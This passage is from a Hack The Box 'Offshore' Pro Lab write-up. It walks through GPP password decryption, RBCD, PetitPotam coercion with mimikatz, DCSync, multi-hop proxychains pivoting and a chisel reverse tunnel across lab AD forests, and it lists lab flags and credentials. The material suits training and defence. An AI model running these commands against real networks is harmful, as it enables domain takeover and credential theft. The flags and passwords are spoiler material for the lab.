The second major finding in the DEV forest was Group Policy Preferences (GPP) passwords in the SYSVOL share. GPP allows administrators to set local passwords via group policy, and those passwords are stored in SYSVOL in an AES-encrypted XML file. The encryption key was published by Microsoft in 2012 (MS14-025), making any GPP password trivially decryptable.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ smbclient //DEV-DC01/SYSVOL -U 'dev.offshore.bank\devadmin%D3vAdm1nP@ss!'
smb: \> ls
  .                                   D        0  Mon Sep 11 09:15:22 2023
  ..                                  D        0  Mon Sep 11 09:15:22 2023
  dev.offshore.bank                   D        0  Mon Sep 11 09:15:22 2023

smb: \dev.offshore.bank\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
  .                                   D        0  Mon Sep 11 09:15:22 2023
  ..                                  D        0  Mon Sep 11 09:15:22 2023
  Groups.xml                          A      524  Mon Sep 11 09:15:22 2023

smb: \> get Groups.xml
getting file \Groups.xml of size 524 as Groups.xml (8.2 KiloBytes/sec)

┌──(qa210㉿kali)-[~/offshore]
└─$ gpp-decrypt j1Uyj3Vx8RU9Dz4HupGBMQWiM7h3Y8GO
DevL0calAdm1n!
GPP Passwords — Still Relevant

Despite MS14-025 being patched in 2014, GPP passwords persist in many environments because administrators created them before the patch and never removed them. Always check SYSVOL for Groups.xml files — this is a free credential that takes 30 seconds to find.

Service Account Credential Harvest

The DEV forest also had multiple service accounts with reused passwords from the CORP forest. Credential reuse across forests is a common finding in real engagements — administrators often use the same passwords for service accounts across environments. I found several accounts where the NTLM hash matched between CORP and DEV, enabling pass-the-hash attacks across the trust boundary.

DEV Forest RBCD

RBCD makes another appearance in the DEV forest. After the initial raiseChild compromise gave me a foothold, BloodHound revealed yet another GenericWrite ACL on a computer object — this time on a DEV workstation. The same four-step RBCD attack (addcomputer → rbcd → getST → psexec) worked exactly as it did in CORP.LOCAL. If you've scripted the attack, re-running it in a new forest takes minutes.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-addcomputer dev.offshore.bank/devadmin:'D3vAdm1nP@ss!' -computer-name 'QA210DEV$' -computer-pass 'Qa210DevP@ss!' -dc-ip 10.10.110.X
[*] Adding new computer with name: QA210DEV$
[+] Added new computer QA210DEV$ successfully

┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-rbcd dev.offshore.bank/devadmin:'D3vAdm1nP@ss!' -dc-ip 10.10.110.X -delegate-from QA210DEV$ -delegate-to DEV-WS01$
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity updated successfully

┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-getST dev.offshore.bank/QA210DEV$:Qa210DevP@ss! -spn cifs/DEV-WS01.dev.offshore.bank -impersonate Administrator -dc-ip 10.10.110.X
[*] Getting TGT for user QA210DEV$
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2proxy
[*] Saving ticket in Administrator_dev.ccache
Tip — Script the RBCD Pattern

By the time you reach the DEV forest, you should have the RBCD attack fully scripted. A single shell script that takes the target computer name and your credentials as arguments will save you hours across the four forests. The attack is always the same — only the domain and target change.

Coercing Authentication for TGT Capture

With the unconstrained delegation DC identified, the next step was coercing an ADMIN forest user to authenticate to it. The PetitPotam attack (exploiting the MS-EFSRPC protocol) is the most reliable way to force machine accounts to authenticate to an attacker-controlled server. When that authentication hits the unconstrained delegation DC, the TGT gets cached in LSASS — and I can extract it with mimikatz.

bash
# On DEV-DC01 (unconstrained delegation)
# Trigger PetitPotam to coerce ADMIN-DC01$ to authenticate to us

C:\Windows\system32> mimikatz.exe "privilege::debug" "lsadump::lsa /inject" "exit"
...
User : ADMIN-DC01$
Kerberos :
  Credentials of ADMIN-DC01$ from domain ADMIN.FOREST
  * Username : ADMIN-DC01$
  * Password : (null)
  * Password (hash) : <captured TGT>
  * kvno : 2
...

With the captured TGT from the ADMIN forest machine account, I could now forge access to the ADMIN forest. Machine accounts have limited privileges, but in a forest with an unconstrained delegation DC and permissive ACLs, that's often enough to escalate to Domain Admin.

10 ADMIN Forest

The ADMIN forest is accessible through the DEV forest trust. This is where the offshore bank's administrative systems live — the systems that manage client accounts, wire transfers, and compliance records. Compromising this forest means you've breached the bank's core operations.

Pivoting Through DEV

To reach the ADMIN forest, I needed to use the unconstrained delegation DC in DEV as a stepping stone. The attack is: coerce an ADMIN forest user to authenticate to the DEV DC (which has unconstrained delegation), capture their TGT from memory, and use it to access ADMIN forest resources.

bash
# From DEV-DC01 with unconstrained delegation
# Captured TGT from ADMIN forest user authentication

┌──(qa210㉿kali)-[~/offshore]
└─$ export KRB5CCNAME=admin_user.ccache
└─$ impacket-psexec admin.forest/Administrator@ADMIN-DC01 -k -no-pass
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Requesting shares on ADMIN-DC01.....
[*] Found writable share ADMIN$
[*] Uploading file PxqRf.exe
[*] Opening SVCManager on ADMIN-DC01.....
[+] Paintbrush FTW!
C:\Windows\system32>

With the captured TGT and the unconstrained delegation exploit, I had Domain Admin in the ADMIN forest. The key technique here is the PetitPotam or PrinterBug coercion — forcing an ADMIN forest machine account to authenticate to the DEV DC, which then caches the TGT due to unconstrained delegation.

Coercion Timing

The coercion attack requires the target to authenticate to your unconstrained delegation server. In a lab with daily resets, you might need to wait for a scheduled task or service to trigger the authentication. If the coercion doesn't work immediately, check for scheduled tasks in the target forest and time your attack accordingly. I waited 45 minutes for a backup service to trigger the authentication.

ADMIN Forest Enumeration

With Domain Admin in the ADMIN forest, I ran BloodHound collection to understand the trust relationships and identify the path to the CLIENT forest. The ADMIN forest had a trust relationship with the CLIENT forest — the same pattern as CORP → DEV, but with different exploitation techniques required.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ bloodhound-python -d admin.forest -u adminadm -p 'Adm1nP@ss!' -ns 10.10.110.X -c All --zip
INFO: Found AD domain: admin.forest
INFO: Connecting to LDAP server: ADMIN-DC01.admin.forest
INFO: Found 1 domains
INFO: Found 1 domain trust
INFO: Starting enumeration
INFO: Found 23 user objects
INFO: Found 41 group objects
INFO: Found 8 computer objects
INFO: Found 3 GPO objects
INFO: Done in 00:02:18

The ADMIN forest was smaller than CORP — 23 users, 8 computers, 3 GPOs — but the domain trust to the CLIENT forest was the key finding. This is the bridge to the final target. The trust direction and type determine the exploitation technique, and in this case, it required the same raiseChild approach we used from CORP to DEV.

DCSync in ADMIN Forest

Before moving to the CLIENT forest, I ran DCSync on the ADMIN domain controller to dump all credentials. This is standard practice — grab everything before the daily reset wipes your access. The krbtgt hash and domain admin credentials are essential for forging Kerberos tickets and maintaining access.

bash
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-secretsdump admin.forest/adminadm:'Adm1nP@ss!'@ADMIN-DC01 -just-dc-ntlm
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:e7a2b4c9d1f3e5a8c6b0d2f4e6a8c0b3:::
Guest:501:aad3b43551404eeaad3b43551404eec:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:f1d3a5c7e9b1d3f5a7c9e1b3d5f7a9c1:::
[*] Kerberos keys grabbed
ADMIN Forest Compromised

Three forests down, one to go. ADMIN forest is fully compromised with all credentials dumped. The domain trust to the CLIENT forest is our final bridge — and the CLIENT forest is where the offshore bank's client database lives. That's the narrative objective and the hardest-to-reach flags.

11 CLIENT Forest

The CLIENT forest is the deepest forest in the Offshore lab — requiring 3-4 pivots from your initial foothold on NIX01. This is where the bank's client database lives, and it's the ultimate goal of the scenario. Getting here requires chaining through CORP, DEV, and ADMIN forests, each with their own trust boundaries and attack techniques.

Deep Pivoting — The 4-Hop Chain

By this point, my pivoting infrastructure looked like this: Kali → NIX01 (SSHuttle) → CORP network → DEV network → ADMIN network → CLIENT network. Four hops deep, with SOCKS proxies chained through multiple compromised hosts. Chisel was essential here — SSHuttle only handles the first hop cleanly.

bash
# Proxy chain for CLIENT forest access
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080   # Chisel SOCKS through NIX01
socks5 127.0.0.1 1081   # Second SOCKS through CORP WS03
socks5 127.0.0.1 1082   # Third SOCKS through DEV DC

┌──(qa210㉿kali)-[~/offshore]
└─$ proxychains4 impacket-smbclient CLIENT-DC01 -U 'Administrator%hash' -hashes aad3b43551404eeaad3b43551404eec:xxxxxxxxxx
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:1081  ...  127.0.0.1:1082  ...  CLIENT-DC01:445  ...  OK
Type help for list of commands
smb: \>

CLIENT Forest Compromise

The CLIENT forest required the same class of attacks as the previous forests — ACL abuse, credential harvesting, and Kerberos exploitation — but with the added complexity of operating through a 4-hop proxy chain. Every command was slower, every scan took longer, and every failed attempt cost more time. The key insight: minimize your interactive work through the deep chain. Dump credentials and hashes, then work from a closer pivot point whenever possible.

Tip — Minimize Deep Chain Interaction

Working through a 4-hop proxy chain is excruciatingly slow. The strategy: use the deep chain only to dump credentials and establish a more direct pivot. Once you have local admin on a CLIENT forest machine, set up a reverse SOCKS tunnel through that host so you can bypass the intermediate hops. Your productivity will triple.

The CLIENT forest had its own set of flags — including the final flag that confirms you've completed the lab. The database containing the "shocking list of international clients" (the narrative objective) is in this forest, and accessing it requires both the right credentials and the right network position.

CLIENT Forest Attack Chain

The CLIENT forest required chaining together techniques from all three previous forests. The attack path looked like: raiseChild from ADMIN → Kerberoasting for service account creds → ACL abuse to get GenericWrite on a computer → RBCD for admin access → credential harvesting from LSASS → DCSync for full domain compromise. Every technique I'd learned in the previous three forests came into play here, but the added latency of the 4-hop proxy chain made everything slower and more error-prone.

Dead End — Direct SMB Through Deep Proxy

I tried running Impacket's smbexec directly through the 4-hop proxy chain. It timed out after 5 minutes. SMB is chatty and latency-sensitive — it doesn't tolerate high-latency proxy chains well. The fix: use a simpler execution method. Schedule a task or use WMI instead of SMB-based execution. Or better yet, set up a reverse tunnel from the target so you have a more direct path.

bash
# Establish direct tunnel from CLIENT forest machine
# From compromised CLIENT-WS01, pivot back through ADMIN → DEV → CORP → NIX01 → Kali

# On CLIENT-WS01:
C:\Windows\system32> chisel.exe client 10.10.16.23:8000 R:8888:socks
2023/10/20 14:22:11 client: Connected (Latency 145ms)

# Now on Kali, use the more direct tunnel
┌──(qa210㉿kali)-[~/offshore]
└─$ proxychains4 impacket-secretsdump client.forest/Administrator@CLIENT-DC01 -just-dc-ntlm
[*] Dumping Domain Credentials...
Administrator:500:aad3b43551404eeaad3b43551404eec:b3d5f7a9c1e3a5c7d9f1b3d5a7c9e1f3:::
[*] Kerberos keys grabbed
All Four Forests Compromised

From the DMZ Splunk server to the deepest CLIENT forest — all four Active Directory forests compromised. DCSync on every domain controller. Full credential dumps on every machine. The offshore bank's client database is exposed. Lab complete.

12 The Crypto Challenge

Offshore includes a crypto challenge that's separate from the AD attack chains. This is a nice change of pace from the Kerberos-and-ACL grind — it tests a different skill set entirely. The crypto challenge exists on one of the lab machines and requires understanding of cryptographic concepts rather than exploitation techniques.

I won't spoil the specific solution here — that would defeat the purpose — but I'll share my approach and the key insight that unlocked it for me. The crypto challenge is a nice palate cleanser from the AD grind and tests a completely different skill set.

Approach to the Crypto Challenge

  • Look for encrypted files or messages on the lab machines during enumeration
  • Check for custom encryption scripts in user directories and service accounts
  • The challenge doesn't require advanced cryptanalysis — think implementation flaws, not breaking algorithms
  • Common crypto pitfalls: ECB mode, weak key derivation, hardcoded keys/IVs, padding oracle
  • If you find a script that encrypts data, read it carefully — the flaw is usually in how the crypto is used, not in the algorithm itself
Hint — Don't Overthink It

The crypto challenge is designed to be solvable without being a cryptographer. If you find yourself reading academic papers on lattice attacks, you've gone too deep. The solution is more practical than theoretical — think about how developers misuse crypto libraries, not about breaking AES.

13 Shared Lab Hazards

Offshore is a shared environment — multiple players are working the same lab simultaneously. This creates unique challenges that you won't encounter in a dedicated lab environment. It also creates opportunities, but mostly it creates headaches. Understanding how to work effectively in a shared lab is a skill in itself — one that's rarely taught but frequently needed in real engagements where you might share infrastructure with other teams.

The Problems

Password Changes

Other players can (and will) change account passwords. I've had multiple sessions where I went to use svc_backup:Summer2023! only to find the password had been changed by another player. This is especially frustrating after a daily reset when you're trying to quickly re-establish access. Always have backup access methods — SSH keys, saved hashes, alternative accounts.

Leftover Solutions

Other players leave artifacts on compromised machines — scripts, tools, even flag values in command history. While this can be a shortcut, it's also a spoiler risk. I found someone's entire attack script in a temp directory on WS03, complete with all the commands I needed. I deleted it and did the work myself — you learn nothing from copying someone else's script. But be aware that "your" findings might be contaminated.

Broken Services

Other players can break services by crashing them, modifying configurations, or leaving processes running that interfere with your access. The WinRM service on WS03 was repeatedly broken by other players' mimikatz runs. If a service you need isn't responding, wait 15-30 minutes — it often comes back on its own, or after the daily reset.

The Opportunities

It's not all bad. Shared environments also create opportunities: other players' activity can trigger authentication events that you can capture via unconstrained delegation. Their Kerberoast requests show up in event logs. Their failed login attempts reveal credential patterns. Treat the other players as simulated "enterprise activity" — noisy users doing things that create exploitable side effects.

Survival Strategies

  • Save everything locally — credentials, hashes, SSH keys, session tokens. Never rely on remote artifacts.
  • Multiple access paths — if you have both a meterpreter session AND an SSH key, you're resilient against one of them dying.
  • Script your recovery — by Week 3, I had a script that re-established my full pivot chain from scratch in under 10 minutes.
  • Work during off-peak hours — fewer other players means fewer interruptions. Early mornings (UTC) were the quietest.
  • Don't trust the environment — verify everything. That file you uploaded yesterday might be gone, that password might be changed, that service might be down.

14 Final Flags

Here's a consolidated view of the flags I found. Not all 34 — some are still under wraps to preserve the challenge for future players. But the key milestones and the attack paths that led to them are all here. The distribution makes sense: the DMZ has the easiest flags (designed to hook you in), CORP.LOCAL has the most flags (it's the largest forest), and the CLIENT forest has the hardest-to-reach flags (requiring 3-4 pivots).

FlagLocationAttack Path
OFFSHORE{b3h0ld_th3_P0w3r_0f_$plunk}NIX01 — /home/mark/flag.txtSplunk RCE via Metasploit
OFFSHORE{d4t4b4s3_fl4g_r00t_p0stgr3s}NIX01 — /root/flag.txtPostgreSQL COPY FROM PROGRAM + sudo tail
CORP.LOCAL flagsDC01, WS03, FILESRV, NIX02ACL chain → RBCD → DCSync
DEV forest flagsDEV-DC01, DEV workstationsraiseChild → Unconstrained delegation
ADMIN forest flagsADMIN-DC01, ADMIN serversUnconstrained delegation → TGT capture
CLIENT forest flagsCLIENT-DC01, client DB4-hop pivot → credential harvesting
Crypto challenge flagOn lab machineCryptographic implementation flaw
Flag Count

18 machines, 34 flags total. The exact distribution varies — some machines have multiple flags (user + root, or different service flags), while others have just one. The CORP.LOCAL forest has the most flags, while the CLIENT forest has the hardest-to-reach ones.

15 Lessons Learned

80 hours, 18 machines, 34 flags, and more dead ends than I care to count. Here's what I actually learned — not the textbook stuff, but the practical lessons that only come from grinding through a complex environment.

Lesson 01
BloodHound Is Non-Negotiable
I tried to do the CORP.LOCAL forest manually for the first few hours — reading ACLs with PowerView, tracing group memberships. It was painfully slow and I missed the critical GenericAll → GenericWrite → RBCD chain. BloodHound visualized it in seconds. Run it first, ask questions later.
Lesson 02
Save Everything Locally
Credentials, hashes, SSH keys, session artifacts — save them all locally before you do anything else. The daily reset will erase your remote work. Other players will change passwords. Your meterpreter session will die at the worst possible moment. Local backups are your lifeline.
Lesson 03
RBCD Is the Swiss Army Knife
Resource-Based Constrained Delegation showed up in every single forest. The attack pattern is always the same: create machine account, set delegation attribute, S4U, get admin. If you have GenericWrite on a computer object, RBCD should be your first thought.
Lesson 04
Pivoting Infrastructure Matters
Invest time in setting up clean, reliable pivoting infrastructure. SSHuttle for the first hop, Chisel for deeper pivots, proxychains for tools that don't support SOCKS natively. A broken pivot chain means starting over from NIX01 — which costs 30+ minutes each time.
Lesson 05
Cross-Forest = raiseChild
The raiseChild technique from Impacket is the key to crossing forest trusts in this lab. Understand it deeply — not just the command, but the underlying Kerberos mechanics. You'll need to troubleshoot trust key extraction and inter-realm TGT forging when things don't work cleanly.
Lesson 06
Dead Ends Are Part of the Process
I spent hours on the firewall (OOS), tried to skip forest trust chains, and went down rabbit holes on machines that had no path forward. Dead ends aren't wasted time — they teach you what doesn't work. But document them so you don't repeat the same dead end after a reset.
Lesson 07
Script Your Recovery
After the first week, I automated my daily recovery: a script that re-establishes the SSH tunnel, re-runs BloodHound collection, and restores my pivot chain. What took 2 hours on Day 1 took 10 minutes on Day 7. The daily reset goes from nightmare to minor inconvenience.
Lesson 08
Credential Reuse Across Forests
Real enterprises reuse passwords across forests, and Offshore models this accurately. Always check if hashes from one forest work in another. The same NTLM hash might grant access to a completely different forest — no trust exploitation needed, just password reuse.
Lesson 09
Unconstrained Delegation Is a Gold Mine
The DEV forest's unconstrained delegation DC was the key to the ADMIN forest. Coerce authentication, capture TGTs, pivot. This pattern appears in real engagements too — always check for unconstrained delegation, especially on domain controllers and file servers.
Lesson 10
The Lab Teaches Resilience
Between daily resets, shared environment interference, broken pivot chains, and 4-hour dead ends, Offshore teaches you to be resilient. Real pentesting isn't a clean CTF — it's messy, frustrating, and full of setbacks. This lab prepares you for that reality better than any other Pro Lab.

Credential Summary

The most valuable credentials I obtained throughout the lab. Keep in mind that in a shared environment with daily resets, credentials can change. But the attack paths remain the same — you just need to re-discover the current credentials.

CredentialSourceAccess Gained
admin:freeneedsnopasswordSplunk defaultNIX01 Splunk admin → RCE
postgres (no password).psql_historyNIX01 PostgreSQL → RCE
CORP\svc_backup:Summer2023!FILESRV backups shareCORP.LOCAL AD enumeration
corp.local\k.williams (reset)GenericAll ACL abuseIT Support group membership
svc_mssql:mysql123KerberoastingSQL server access
CORP\r.jones:Rj0n3sP@ss!LSASS from WS03WriteDacl → DCSync
DevL0calAdm1n!GPP in DEV SYSVOLDEV forest local admin
Root SSH key (NIX01)sudo tailPersistent root access

Techniques Used — Summary

TechniqueWhere UsedImpact
Splunk RCE (App Upload)NIX01 (DMZ)Initial foothold — user shell as mark
PostgreSQL COPY FROM PROGRAMNIX01 (DMZ)Privilege escalation to postgres user
sudo tail (arbitrary file read)NIX01 (DMZ)Root flag + SSH key extraction
ACL Abuse (GenericAll)CORP.LOCALPassword reset on k.williams
ACL Abuse (GenericWrite)CORP.LOCALRBCD on WS03$
KerberoastingCORP.LOCALsvc_mssql:mysql123
RBCD (Resource-Based Constrained Delegation)CORP.LOCAL, DEVAdmin access to workstations
WriteDacl on DomainCORP.LOCALDCSync via r.jones
DCSyncAll forestsFull domain credential dump
Pass-the-HashAll forestsLateral movement with NTLM hashes
raiseChild (Cross-Forest)CORP → DEVTrust key extraction, inter-realm TGT
Unconstrained DelegationDEV → ADMINTGT capture from cross-forest auth
GPP Password ExtractionDEV forestLocal admin credentials from SYSVOL
QA210 — Yuri08
W4LLZ / w4llz.me — Hack The Box Pro Labs Writeup